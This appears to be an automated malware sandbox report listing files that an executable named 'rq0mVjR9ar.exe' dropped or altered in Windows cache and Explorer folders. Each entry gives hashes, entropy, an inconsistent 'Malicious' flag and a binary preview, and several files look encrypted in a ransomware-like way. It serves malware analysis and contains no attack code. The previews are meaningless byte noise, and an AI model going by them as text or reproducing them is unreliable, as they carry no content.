SHA-256:	D37298D86EE31DE064AFE60C49AA0E6420C297A3AC8AB48F82BDF0FF5244BF89
SHA-512:	032C6B2F8A41970B51B5F822F476EAE10692D45CE15135A875DAD46F196C57E11FB02A6A79159993D95AD2AF7AF0D163EE530C8EE40C016F06567492144035F5
Malicious:	false
Preview:	...P..Y.XL..~..]..J.......T..%C.C.9.{.$W.......X......J.....i?...=O..'IVG.'.(..r..."+....B..B.\..3..q..o...l...n.....Q<..Z.=5.\|.._....~2K..[..:...U..LI.j.....X..2^.Y..t.O.v3r..+........y5D.yd....C}..p.{.m.4T....Q.....=......o...m..0...U.P..s..5..}....4.O...c....b9.......A,..m.@....HX.k}.'.Fv;{....t_.vS./...S.lC.S.T2..<.HGs..B.S.f..a..^VCu.E/v.^...p..4...l.1....b0TE.~^...m5...W...]og...N....SlKX$.g....].D..%.e.4^....0......O{7k .y..a..8R.M...J@..............x......,.f.j.K..Cq..;....Y...pj..(...C..njW.......2..TS....%.q......Y...E-..._g......m2s..gD.:.a.;......14<.J.G_@.T....-....'.DBs...w&.J^.1..5..S8.&.v...?4.R.Ri......F...?..gd...>....o..9.,.......K....ug....-.p.B...J..D..=....k.......210d.l.V..p.9E.#F........Q.B...u...;...+=?...v.dva...O.E..f.c...x..>.N."*..E8J...,..Yn......i......h.Z[q.q5.......r.e.q..p..(=..]]..8.....[.9.2.....R..]..3.....e..Y?.:BV...i..d3.o....l...8..lu.o.Nnm.......&?4..M.....Rbo.-.....t3........x....$.L.F...

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.987197715371828
Encrypted:	false
SSDEEP:	384:khP9ubxDSb3NThlKfMKlpTTBOYLJpm3IjYjX/2maVJg7ZI2BKuRC:/NDSlhs1VOAEVOzLwpB5A
MD5:	8FB1D1A73215D2DAB54BF7385881C54D
SHA1:	932FD5FEBE2CC67124B74131C40B934649D37996
SHA-256:	174C0532865C0BC616C8E46E95AE652CE49525DB39DFAF49C0482C445AED168E
SHA-512:	71E57B7A4709A0B8640817E2189047CE17E014C2B5DBDF9F2F0700E1C7985DE9E57E682FC0151C9C7D641ECFAF3A567FDC32A16EB6C15F14F120FA8F8C2904B8
Malicious:	false
Preview:	.... L...=.Um1P.........+ti.^....E.`..=.`.\..auL..&$5v...l..r..2a\.5d.9d'(..6gx.2...{.....')....d.."..M.Q..%8...L.wu...H.+..g>.4....g?.C...o..`T.iL.....t.s.Sm..k....^...Cr;.;...K y{e..4.'..a!.y.V...w.EY..S.T.>V}..9k.clN...U.0L......r...D..]..l..9A.....)...7...g3.a.Ka..'.e(a....._..;...E...O.......Yt=.z.HF.Ay.rW. \k.....L`,..^.w.m....E.BIh.Qv.K{..<...U...j..~Z@..&h........I.=...I....b....]..r7.<...5v.L.l...~K...:..D....:~Pdg ...f..W6..7n.6l\|....:9..B..u.GD.\|C.4...^~..Dq.w.ol*...y{d;..ks#.nG.....(..Zf.B2`kP^......s..F^.\|.......\|.M.'....=...`Z.i1wTQ..v..w....<...i.g..qf.o.e.m.....)E..Q....A<S...#@S.....q...w.v.F$<.K.:.N.\..,.._..-1}...l.......tk.f.I.a.s.w..s.._H}....6....=.C..76v........E..P.t.......I.....E....~c..{.....[......=vG.).C...u.,..n.Rmw..%.....G..?...!.....k.+......X..M.......^..)...$......../A]......2.=.w........U...>..k...G..1...=o]U..Qx..lr.....}o..Tw}..\|.k.64. O...aZh.O..W...Z.==]...U.V..]?..".M...8..\|/.p......,....[.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989939903827493
Encrypted:	false
SSDEEP:	384:YRzWcf7l2WdXUKTmlxI/EXDkoL5VxfX4mqb70L8z5qo7uRGUm2ghpPVN:YlW64WdEKTmTMuDkoxfvqH0OMGU1G
MD5:	95EDCCA22129E0255C136547D1DA9F94
SHA1:	0C679C14D418210FD8049184C50E03690489C654
SHA-256:	AC1996EBF1CE623BF47F40BACCDA6BC7F0A7766483D3E0BF7B693B9054734208
SHA-512:	E975AC44491DB2BFEFD7B108581FE2F4F0849F5AFCE4350518C82BC734E697C9298FA5E350CBCD8BB2BC407AAC61333F0F1DA82C0EEF3F91FE0225D7B0B8528C
Malicious:	false
Preview:	....`..c..o...d....".......n..,....F....+.Ik6.@OR.`.....pC.V..Q..D...jH.X../.b.B..].. .cCH5{.P..u.\|6..f......=U.....[..GXa...........UU...>7e.T.14..3........L.V..F...^.n\k.^L;.xJi...h..]..D7R...h...'.).../.&...)z.#.6..9.k..;.GA,...C-...sC..j..k.......2.....Xm.W...:3.?...'..jb.9OcL.....V}i...o...O.g.;\D&.Y.t).m....l..kxT...5..[.....a').yy..u.H..6b....f;......A...:..\|...E....e...5.U..8.;o..h..c......./.h...>....M.......n......`..xH...x..z..`..%$..{[.-.}9O....}.%e.V...]k.?3F...0....>..Xd.p_ga:..?G-.c.-w..T$..'7...G:.B........rd..>.i. .'OL......'....J.....X.WR.{.L.x....>l.q....%..>....G.{.E$.f....)..6j...vH...\.NX.....%i...bo..T.~.R..].\|...)6.. .K.....\F...0...;-.....{..,...6"E..<.......d.L.S.]..1..9...P,....{.......i.X.Z..%..?......[..AH.L.7.=o...x....H......v'V....S?.{vo.K....-...,..A...CH..=~..8e.4.C...vm.8{Q.$.!3...1...e...C#.....dm<.d.F.n.(.....LO..F.k...F.........n...n.6.h?..P.k.J.s.4..W...."..h.o\|.t.h.....W.......]..R.v$...J.u3_.j

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{0045F640-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.331812321314353
Encrypted:	false
SSDEEP:	6144:O++wfU47tAqY83+5uh0Jim+vyJfbnQkK96B88yKv4bWTmTvEiLSM:OAR7S58yu2Jim+6dF4/D
MD5:	C1C06FA8BC6496FC610655DD93A68D51
SHA1:	E314DDFAD6D61E42585F44C2C041AF9D5FF51ECC
SHA-256:	65821391645E9B69068C4B0F105756613EE2EBBB3DA9B0550D9679E656D4A4D4
SHA-512:	FBC07B212B74A83AB15FD6C6F0AB98E1A3B81A6802B454C55069E61A97E17968E6CF9AD6536501C7C047A304F3DEA8B12C0AB0E383384DAFCD0EE1B7F04D0E0F
Malicious:	false
Preview:	.w.. "`tl}>.S....>S.........s\|........Y(.......<-c.>-...V{D.[.[...W..t6.!....F.p...L%...8.......z.>....vI.uB..\|....8y.O..S.....i..!f...>.6..k..=...._./.x}.v.;>a].h"D?.....f..r`H............38E.>....C..>'m..E.c._....a.j./..........E.c..D.c....)"HG#V........o...7.?...D..ME.\|#..3.:.d#\.1....L..9....W<...;..N..\|..C..,;...N.F..N....+Y..:...[%i......aC..<.........?... mC....OmZd.....,f...........8.b.\U.~!_... .v..KH...... ......E.q.]..:..>..%.:..l.`..^....6.s..,.pH./.[<-b.."dNu.U.s5Y_..3.....y...d[..J.NE.h0:....>[..U_../.....2.n....k..b..\.E..x..5....t2hEgZ..g...T...0.sp....W?}.............T.......\|...0UH..O}.`9....4.@..x.!......W.s.B..).. ...w.L....^3..Zk.^:../EQ%}.o._E.........06U.......h.\|/...".(.)..?xGDM.B.HN..Y...Mo...._.@........."p.{...B.._.n\|.6..;.I.$.l.(.w/'tV...W...Km}Uv.o.....u.9Q.-{<.......?....V..G.........8Y.Zs.........'...%*...6....=V.~d.6.....N'G....p0D.^.!.B.8....T8..n..(4...7:\|..'X..=.:..L!.h3e...IP.J..e(..+.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000001c.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	102878
Entropy (8bit):	7.998277512112598
Encrypted:	true
SSDEEP:	3072:T9unqDtNT1O+gll6amO+qxiy4KcyhQXz5/k+8S:5ukh1s6/fC4hz5P
MD5:	4FD7E0F2197AC265E8863F66F0381228
SHA1:	FEDBD6D0E74D70FB6FF4153C34980D554FECCE40
SHA-256:	C882CD3DB4C7219782F37C62A016EF53C9E7EAA7E553F44B85F509D769EFECD6
SHA-512:	A4C5486F78987C95A367FF4EF014D0EF7EB47F5B9BD379C8A599B6D91FB5FA4361C14E7E142EF1AA9A51370D2EB7FCB4AD91CB3295C4D4D7FC57407F5CB9E323
Malicious:	true
Preview:	....h......3 Q<......J....WG.......w......S.9q....[..5P...l^Y...........Z.=.-.i. ......U`X.q......exq.b.....RF....T.R.61....%..=_.}./..y^;$..u.{4 ....,....Ok..wD1n5....g.s.).......F.4.Y~G.........P....N..7^l1..f4 ..../...#.dp.gC......R.....]A.V"..p....5s.....K`......9..)5'x.m...]hvog5...Fz..@C..LP.<..W5....i.<....9.-...O...4].#.T...)@.XY..]Q......u3C....}!}...c\|.......<..cxr..D.w.+.It,.eO^.qG''..L...B..G...m3....9..s..l................A&.T...~...w..;......f..t{..b..1S....E.....}.lP.E`..U...Z.^....JH.e..5D+...0...VT\|.ibm..5P.Z...M..M...`g.rzy..xd.T..z.nN......w..,.6.......NtW.oaZ.3.&...'=........k&.C0.W.......Y......./.mm....#.c...u~>O.`....0...$1......$.-.?...)......0....9...I.g......q......oHb.K...w\..K..U..Pd..5.N..:.+.!.......l...h<?..8...Y.^..w.J..N......r.t.'z...`.[...*..,i.U...iZzv.y2....MA...\|H.A.^.e..{.Y..)x.t.%E.....P...[u.........j.+.]..:..]...e.......I.."2...XQ....v..d....5.i.`.@(.....`#..?....N....H..G<.....>.J\|H.&D.,

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	99742
Entropy (8bit):	7.998291115261785
Encrypted:	true
SSDEEP:	1536:TNmOICLxzFTlrSL/OnREx9mrtUy0/dudeKKf08ex4DBVBMfEpAfHX3TFb7teCL6s:BhVZTMoxSH8d00uKhX3TFbhebqtuPoPZ
MD5:	97AE28DDAF924E69BE11069658EFE185
SHA1:	2D25181BC6DFE36F84D67A6BA2EB30389864579F
SHA-256:	4BEDE553401B256EACD50A11EB151C94AD1ADDFA2E0DFE0833D58523B2C12C71
SHA-512:	89B8AEA6C1F035C4C137E7BDC66395637814D2986B5863A8839A19DD99C2494F25D45D8EF6FE84B32A0B4EB9CB5ADD83309E1CA9610189592C027537E1E9BA91
Malicious:	true
Preview:	......#rb...s..H{.v./.x.y..wy..}..i..7S..0PPIaV4..#..)%<\|.l-..'...u..&m.S...G(..ba.b....:\..V.[u...2...C3....>....].......O...%....+74..\|d.L.-.."}...S.$........r`=y.U.....Jjd...>......8..........^..7..,h.....b:.5..."=V...j..).i.$.......3$._....S~.Xw.4...jY@I.z^5..C....c.)T[yk.p..6..TS..,......".\.~.F.a.Tx.d.D.Ue..<^S`.l.k.W..4.WlU....lf......_8.Q....W..j...6...0-j;...:....UO.[l#...[..M.;.]....L...ocqP....J.V.u.,f.....JX...... ...U.>.t\....o..7).e...F.[.C?=\..o.!........:...U.......F..CUX..2_.s.!...pn..)..Z!.\|.=......C.$.....+.\..L....\|B3f..n.........Vf..X.U....[W_.?<..Fk..\|=.R.J.-4s.s..9....@..v.^S...C...b..e...A.._.-...l....2$..a~.}...c.....x&u...(..].u...gBe..i.......j9...%.......T.4..:....CI/..k..P..=.w.....9.o.NS.+W(0b\|....53.wW..i1 ...L.'Z...J.!+.........ww..4....<."H.E1h9M.7..n......U..-..Z&...;`!....&...?.P.'.....F.;L.B\Z...?.....9..w"}T...m..m......BR...{....Z......0.6..9<..&.f..dTIq.p.W.."..%..4.aj.T6R.bc...$!......@..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	100894
Entropy (8bit):	7.998047331857493
Encrypted:	true
SSDEEP:	3072:RtrjUXe0mbNJZNVqhLtjgyrv6agGNqdgvBdOQ:LPUuVbNJZNwjgyrvGgfpdV
MD5:	EDBD4094D3BD019964DEDE05F98B73C8
SHA1:	6DEBF206485A571DFB50A88C2BA41BD323486A7B
SHA-256:	4C487C2DFB69528C2AD56CD573669787D732AD02ADB11D20E02475DFFA89B9DE
SHA-512:	B20DE2586D6108DDF68A7C09D57C583318E1AF1E506908EC63C9649D1789FF02CC1087C9281CF7BE9FAC5F77B9B8A5C10C8A6C96A77A120E5B806AA84F420EB5
Malicious:	true
Preview:	.......;.-.s...q......m..;..&qA.....G..d.,... .f.N9.e..e..Y..x.^.'}........bz=.[...}...^.;.M;....,..V .az...s.t.j....5......._VW.M).....f....8.y.N.C..g..q...,.p...>p.C.F..R..H.S_o..vm...q..O.....-v...qBm.{.@.y.\=3............VL.Au....(.O.J.....<.....>..T.A....dUa.eR....1...+..\|kW.?1'...T/..~..b...Z.$q......}E......[p..U.{&A..9..G..=Mg....(..M.B.)..d....xR...............}M5...y\...".+.......gE..+z`SM.....{.c.`PV...)J1b..k5Z.Q.X.P.....1.xTD..b..4.R.c.?. [...]...k.....=..........j!q..3B.."7..nR...{...x...r...f..X..'+..$Y..l.J8..vl./.V...!.....Q..FSS1.xd.}..j'.ew.C..b,}7.{..Cs.sA..){5.M..1..(F....\|....p...2.........>K....r...d..~. B.>..j\|.f.[...\.;d0....?..k...7...hOQl.C./[.A...YR.......m*.F.\U...#.a.#..7..N...w...Y.Vl......u.J]K.'T.3W.9].....Q..gB.....{....5.a....cx>..k.w...M+:]m).p..j.."~q.V5...&" 81.m&.q..:.......~.u.c4...'....b..2..S...g.K.I.b..K.0\|.pe...9.vN&o-r..;.'183...H.m.LC.......7K+..p..l&.......\|.(...<..o.[...Oaj._nM8kH.l...

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog.etl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	606542
Entropy (8bit):	5.706679472843736
Encrypted:	false
SSDEEP:	6144:A+FbUQwKa5h9YIORmZsj0EYIfG4Wfde8QZOYpxaGrOAo:AIo5U/1j0EY4WfdedZrOF
MD5:	C48F72C4A2D246FB47227D1F6836891A
SHA1:	6F884A63EBF3CFDB03E1297962D358C2D062E99E
SHA-256:	7A033176107CE52AD4C21E6A7A4EA8173AD6B14E3C3EA3FE67037619A5114CC2
SHA-512:	85CDEE3BF63DC08D01D1AD28D0D1D3E0783E8BD572638C9E1E37B986A7B8C3776699EADC007845D60DAC4855EB166FAA2DDC30D96B93B1424F033BA1B8647DB5
Malicious:	false
Preview:	. ........\..S.S6&R..Rm...N((q.^..t.q...`X....._.....cDs.-._D.T..!...A9..{8).........5....K.....q;9R}u.C@.mxW....bYE:.M<...P..}.cA.c..Ou..\|.O....-$Ms5$-#.....w...N../.\.fL.....x.../.x#.9=-D.Q!....G.."$E."0.....7.Z.b...C/M~p};.....Qw:O\| .xX..\e..>d.l0.KUZZ"..\.V.U.F..'~`.:{<...(./.G..w.../..O...0+.((...W.J.m;.....h:.E.o...... ..................m...;1....6...4..1.....6.k.......1>.Q9B.-$..u.@)$...d..Ob....].FE.aD...[E.k...?....d[.;.gR....CG.W.....=...F^.O..T...q..r.7...x.......sZ............B?6.....ay3J]..l...pI.M..x....Q...\|...?S.cp.!_..W.DI.I/."+....=F....e..{..,po.......v..@."35ck.)=...l.\.T\|.$.X...Y..!.O<"u............W.......3..k....U..E...d.9..x.Lh..3.`..rO..H....`.d.(2:.u#Gq...z36...7..Jj..Uj..7.....-..:.@"..Q",,E...i2....`\....v.2@..H.R1.m$'...j.!..S....C.i......gNO~...P...l.\.G..an....QRo..7~,..X..t.Dz.........=...]Z;.A....@.P....-..q..$.fmMm.].@..*5..Vw.Z.\|......7L=.E.$.....kuONN.......?..ly.O\|.y2..-T>.7....3[B..E.f.k

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.99322863079592
Encrypted:	true
SSDEEP:	384:eZjar8mr/R87etHDRbgN7iEytxBLqwYZJYet3T+g0stHB5ayucoJr2u7HQs+4YQA:VrKyM1kx032et3q4HBtxoAIHtYQy2I
MD5:	5AF5EA54349DDD571BE9D1E284008F31
SHA1:	488AAA08970D27BAAEB139B914B9ADBF5ADD1BAB
SHA-256:	159D3237732209987F66C80AFB0245FF4C53E7CFDB41021A6E09BA6DAA3C98AE
SHA-512:	CDB07D2FA08A58750B4536C68B94D5A76DC70BB0B76255A9943DA7B8A896C984B58F697B865008102C0FEA1B43779305107AEB62A87F275DF4C2E36EF3C754BC
Malicious:	true
Preview:	. ....1.....HK."..... .?..Q.`=..V....SH..}.h.1.$F..g..c...n.q..vZ= ......(.5...=..P.Z......b.:\_.C........>.).yg...._....)..,..cuCQ.....E.ay....3Y.....N&.I..J[S2.8...@.8....q....[..(.....AF rU. ."M..g.k..yw.... ....'....0.-..~"-.sD]..TW.:.[........%.X..V.D..A.NS...6.T.r..=..#K.z....O.qQh...t.YA..:.....~..{..5k,..n. ..z-.E.o..6D.../...].q..d)..T.:.WZ....w..\|..}..Ubw....V)....q.U.g.=..I.GM.".H.(. x~..[3..9@.XTXW.~.l%/.#...f....c.].(../U#QX}Px.T=.@...........).P.:..w..z'e.......=1.Df...q.....p9.....:G.....=8r`N$..g...,\|...8.px..`-............3;].o...........r....5>_Y.eT..~..[w$.Y=... .u....w_..i.......x.....O..K._.LLD'.u.....n....`.U@...9..o.K......./.qm...X.+....\.{$I....I.i...u..J.'......~\@1.....g.....n=..vZ...H@..4...gI8....&.!.F..~......b.%..=..." ?.a.a.....m..O2..)S..#8..W'..^...z..+.6`.l.p>....^,..B.fa.J.....\..v.S..@.I...D]J..I.,.....IN.r]G..P..;...y.A...OA.[....u.e\...B.).`n..L.&r..h..D.v....].../X....-..Z.5@Z.Y..m......)...$v.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.268909625428291
Encrypted:	false
SSDEEP:	6:88twqSk8NQjJXU6uCmQrMOzRHH8K/JZr4eE00YoayEQN4UwuamDijGxssZacii9a:X9SklVUrmfNfhj0Y8EQaYam2ixpZaciD
MD5:	F06177E664FBEBB6FA1F1B682AD2FEB4
SHA1:	322E7E503C537119E640FA8941216A82ED069355
SHA-256:	FB58D1954655D6C1AD28D57C37B5054E6DA232D37DA703EA3967E4004A4F9DA3
SHA-512:	1D39620C4515CEECE518C7919F9A6EA0EA6FAA09152C351AAA8F89AB6CE0CEF6110C524DA499E059C03605459BCBEBCEEBB62102061808E53FD76139D2478A9A
Malicious:	false
Preview:	CMMM .&8..pasik.Y.-MdZ.,."\.1..%Y."...,.V7.t......W.....;.a..hE....].^.C....C...mU..Iu."W.i.N.QX...7$.x..I3.g...p..x.Y.?])J...P.?.......XX.L..L."...!..T.o.-....Y{..p..-]#..[.` .d.l......-c...LU.Z.....G....]_.;.N.a......:\p=BHu........K.5..j...%.u.#.V.HC..2..j..k(...xQvr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.256583563001521
Encrypted:	false
SSDEEP:	6:dExL/DH7U9sVRSav/w0ur/iGUjgc5nOMlrHqnV4gGV4gq3gILs0OzHjGxssZaciD:07w9sVRpnurBUMc5njlrMV4gGV4b3LVg
MD5:	E929822661E2EBA77DB88474BF34BD21
SHA1:	6563D437942F7D335DE5D360B36D5308EABC305C
SHA-256:	F5C7F8CFDFF57382552784B7CCD768B3E65FDFDCE66641E6AB6F3BB8F2DCCED7
SHA-512:	73924D4A4A73F308F80BF207C9D9508EF70447BB83505DFFAEF2EDEC5AF4E37C8505ACF557E7431B22166D062F35338DEE0E6C7C72F30BB7C2D28754875A57AA
Malicious:	false
Preview:	CMMM .?..v...S..J.qZ.........3..dT.....T.P..h.W.U....0..7.f..&...%c.j{.,.P.h.7......5B.v.....Y.+.........^.`Rx.......Y,T.C..$..v...w1.L..8^.NA".^?...0i..y..}..P>P..XMTu..=g.z........N.l....6.,.4,...yd..qBW..IY.bf.- )O.P.d..V..m5e..EvR.W..?Wn......h..2.R.y[.J0..B..[.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.33634456802627
Encrypted:	false
SSDEEP:	6:IAvbb1iqpDQvgyykEPKKD/kxPJdy8evvegahbxj5lAwQGB0VjGxssZacii96Z:xbb0AvyykErQP3ylXe5hBdNUixpZaciD
MD5:	C7AF66EF14BA2E2BBB6161F547D6BD4B
SHA1:	679FAC804ABB56C8FD98D3006207486C84F5F7C5
SHA-256:	2E3E8DE2453C560B3D85A7A95446785DC2C0FF7573CA0195957CCE6396FAEE1B
SHA-512:	7F6284EA22CEBA0DAE156C3061EE02218F764592DCD34B798697C5210F83B7A1BA31BEBB90FD9819BEC55A36361A50C906E7873D5EC44A1333FEC4BFFBE187EB
Malicious:	false
Preview:	CMMM ...h.8.:.M..W....o..Li.e.e......N..$.Uu...(.t<.....)....)...T..H....5.O.(@..b.m.^....&.......%.~...b'^........S.cF-ag.w.-:..q.X....b.....l...J.%...MW.k..].D......t.,..e._k`Y.....]zd.gE.e3@...{.("....(.%.....H...\.eqs...#/B....;.G.3..\|.3...A..>......l.:...H.C.f.br6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.285253802508243
Encrypted:	false
SSDEEP:	6:SG8TyuAneOyKHhgOxIHlRXEIqGEhDwW+XZr06ze8u9DnPFozkxF8RjGxssZaciik:18WuClHhLxsEDfeBLKn9FxF8RixpZacq
MD5:	DC8B1A45269DD7B40018189A039158CF
SHA1:	2C78D57F3FBE275F8AEFA73A4CBE54829EFE567A
SHA-256:	D95C90088A03B7A8C55CDC4E6A66DBB02FBBFB89C71C26741F03FA19F5EDB38B
SHA-512:	8808F5E400CDF79C817C77664EE08AAADB2AB96B70B89D76511452F1441493FF070B655D1D6CFAE95BA9EBE5680AAD37AF8D1E8951329E751B06CE15C15CFE70
Malicious:	false
Preview:	CMMM ]G...7E.4....[%U.D.....eBY.r3.+..?-X...d...m.....k.,..+......u.u...~..5.5.h...9`..].\.G..s....g/.._p_.....%.m..G.Yq..+..l...^.-4}..a.TS.1.XK...\Q...."...:."...8....x~E.*.sLZk.i..J.Vo..SB._2..U...........A.......a....H{....:...m%..p+<..i...f........F....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.240795291444294
Encrypted:	false
SSDEEP:	6:HzUVdG+LmP1NYCPBpjMtm4ofuCtbXJXxZESlMGvg/aDdoC4t3R2b8VjGxssZaciD:IVdQ1DZC2bZPNrSaGC4tB2eixpZaciik
MD5:	2A6E65EB2E5ABACD625397A26DCAD9CF
SHA1:	FDC6DE8F9EB38B3835C28F75FD749C3AE0709A6C
SHA-256:	52BEF4035A5B2A6ADC9FE995676EDFCE93DDCD24C85889E8C29ABBF2284619A1
SHA-512:	4071A46BCD7B08FE76532006FE9C9FC1BD088195424AA9E1707778469A02864505A60E6D671AECEE2232F5B9E5841222C6296B7186111E235FB007B6C9BC9CFD
Malicious:	false
Preview:	CMMM r...X........g..#h...d...."XR...p.<.X!..=.x....O....Y1.4...[....N...[.9..^Bk..L.4)....3.C..^....d.r:K......h...*......4.....C.U.2k..C.........$...\|...LEl._G...t..L b.W....^u.L#3...W......[(.m..z]b.mB...4.\|.....DE......'.<..b.5...._.X...l......R...q...NF...2.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.233281448047947
Encrypted:	false
SSDEEP:	6:Ar2dy766xKvt1Iz5p89CKtRHpStEfD4hcr3UmjGxssZacii96Z:DXX4iv1ctg0Cr3UmixpZacii9a
MD5:	E2D4F0175CC1CC350BA7696189A73BBF
SHA1:	ADB2B5D7F2F74A766AB36C031F2B799D272BD5A6
SHA-256:	8193B44AD8695F135429083830B0EF7656AE7897C386054EAD2A86789E660358
SHA-512:	95915E84058859E1AE78D9D81F6E019D98CC0F1EC8DD46E8E90B12ED90B80D29D4745EEADF82FAA8F95DB9BFF63EC24045DD19F508046A00890BF7F64EC4F943
Malicious:	false
Preview:	CMMM ....W[.UD..8oJ.:.]8.9...p.o.:..p.%'..q.rj\|..#..t...PW.Y..Xt.....g.1.y.b....6.q.Z.2.;....}+.....u..x...o...............5a...O#wGw.G.....Z....%M..3!..1~Xo..!s...vTU......._.@..k..w.GZKN..b...w.p..........!.....!...v;P....jB([AvY............Na.....Oo...r.1.....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.267936118317685
Encrypted:	false
SSDEEP:	6:q5qpVxLpvPgfzSKdowmQvrsMlhiLpRs7ku9Mq2xxv8oNZ6ZtzjGxssZacii96Z:q5qpjtng7jtmQvrcTsgu9MbXUoNZGtz1
MD5:	B6F14CD2115904973B0A027B1FAD7634
SHA1:	1028393BF698AF36D6F62441BE2B0C794CE06219
SHA-256:	0A8EE0F92ABEFAA5CF4F0CF9A6D17E30491828DBFAE7CDA858AD4A1A7C33F60A
SHA-512:	0CC72CEB67596EA9DDD2510B2B3BA954773472F436387E42F9CDFE29959D7FB63490F3CCA03010FDA52D2EE017FA72407C0488A6C69C87C81A3EC9F6E50E63CC
Malicious:	false
Preview:	CMMM .f.......O.....d..H.d..+...ww...{\..gP.....8c..].I.W.a..^..}i....F.'..2`.........K../?.(....tN.^9-.\0).1...k.u..@b..<8...$)x....=].#i)&..0..Y..t.....^...&.\.Ii.....q../0.)B)..!vOwoc..5`..`.\vX.Wh..J.[.ns......6"..1.......u..Ra..&.M........L.eJs..I.w7.w......x.D..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.289894315280207
Encrypted:	false
SSDEEP:	6:DBU6RDev/noeLAIwvi9HN8YLpYo8S3hyFurbNFbPjjaijGxssZacii96Z:DBhRDioe06iS3iuthFixpZacii9a
MD5:	914F05FAD4660795F6F955B8EDEFBCA4
SHA1:	FDC63F0EE8F7033AE2B85F13A303BC74FEFF8DAD
SHA-256:	718B1FC1916F00675713C88B46C6CBCD0AA4D35388862E1BCDA19640091ACE94
SHA-512:	F4A7A32DAB575AA2709FA5D08292DCAD10DF9447ED25CA9CCC35FC077855A830F75EB33C68EF37D745AE2CA3AE5B7AAAFE8C310A2A608F1408B51787BF180D13
Malicious:	false
Preview:	CMMM AR.<:..GF.@*..E.J..U..g>.....=...]G.c.pxyW.......u.....#..$.S^...B....-.M(....I.nj"".F...-P....J......0....c.d. T..POW....YNx.m....,..R..1xf.".e(...J.[.u.Y.M../../...\.x.;...r.W.....6...2LWtc0.\.........o....D./=.....9./......_............<..f.1....w.~....G.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.303240614410005
